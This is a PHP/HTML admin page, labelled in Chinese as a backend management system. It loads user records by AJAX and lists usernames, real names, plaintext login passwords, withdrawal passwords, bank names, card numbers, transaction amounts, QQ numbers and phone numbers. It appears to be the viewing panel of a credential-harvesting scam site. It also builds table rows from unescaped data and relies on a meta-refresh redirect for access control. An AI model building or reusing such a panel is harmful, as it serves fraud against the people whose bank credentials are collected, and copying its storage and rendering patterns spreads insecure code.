<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8">
	<title>后台管理系统</title>
	<link href="Css/rest.css" type="text/css" rel="stylesheet" />
	<link href="Css/layout.css" type="text/css" rel="stylesheet" id="cssfile" />
	<link rel="stylesheet" type="text/css" href="Css/result.css" />
</head>

<body>
	<?php
		session_start();
		if(!isset($_SESSION['useraccount'])){
			echo '<meta http-equiv="refresh" content="0;url=index.html">';
		}
	
	?>
	
	<div class="container">
		<h3>welcome</h3>
		<h5>信息总数：<span id="person_accont"></span>条</h5>
		<table class="table_content table-bordered" border="1" cellspacing="" cellpadding="">
			<tr>
				<th>用户名</th>
				<th>姓名</th>
				<th>登录密码</th>
				<th>取款密码</th>
				<th>银行开户行</th>
				<th>银行卡号</th>
				<th>提款金额</th>
				<th>提款状态</th>
				<th>充值金额</th>
				<th>QQ</th>
				<th>手机</th>
				<th>注册时间</th>
				<th>充值时间</th>
				<th>提款提交时间</th>
			</tr>
			<tbody id="show_table">

			</tbody>

		</table>
	</div>
	<script src="Js/jquery-1.8.0.min.js" type="text/javascript" charset="utf-8"></script>
	<script type="text/javascript" charset="utf-8">
		$(function () {
			resultList()
			function resultList() {
				$.ajax({
					url: './service/service.php?act=info',
					type: 'post',
					dataType: 'json'
				}).then(function (res) {
					var arr = res.data;
					$('#person_accont').text(arr.length);
					if(res.code==1){
					var html = '';
					for (var i = 0, len = arr.length; i < len; i++) {
						html += itemsData(arr[i])
					}
					$('#show_table').html(html);
					}
				
				})

			}
			//循环
			function itemsData(item) {
				var status=item.submitstatus==1?'<span style="color:green">成功</span>':'<span style="color:red">失败</span>';
				return ['<tr>',
					'<td>' + item.useraccount + '</td>',
					'<td>' + item.username + '</td>',
					'<td>' + item.userpwd + '</td>',
					'<td>' + item.moneypwd + '</td>',
					'<td>' + item.cardname + '</td>',
					'<td>' + item.cardnum + '</td>',
					'<td>' + item.submitmoney + '</td>',
					'<td>' + status +'</td>',
					'<td>' + item.paymoney +'</td>',
					'<td>' + item.userqq + '</td>',
					'<td>' + item.userphone + '</td>',
					'<td>' + item.retimes + '</td>',
					'<td>' + item.paytime + '</td>',
					'<td>' + item.submittime + '</td>',
					'</tr>',
				].join('');
			}
		})
	</script>

</body>

</html>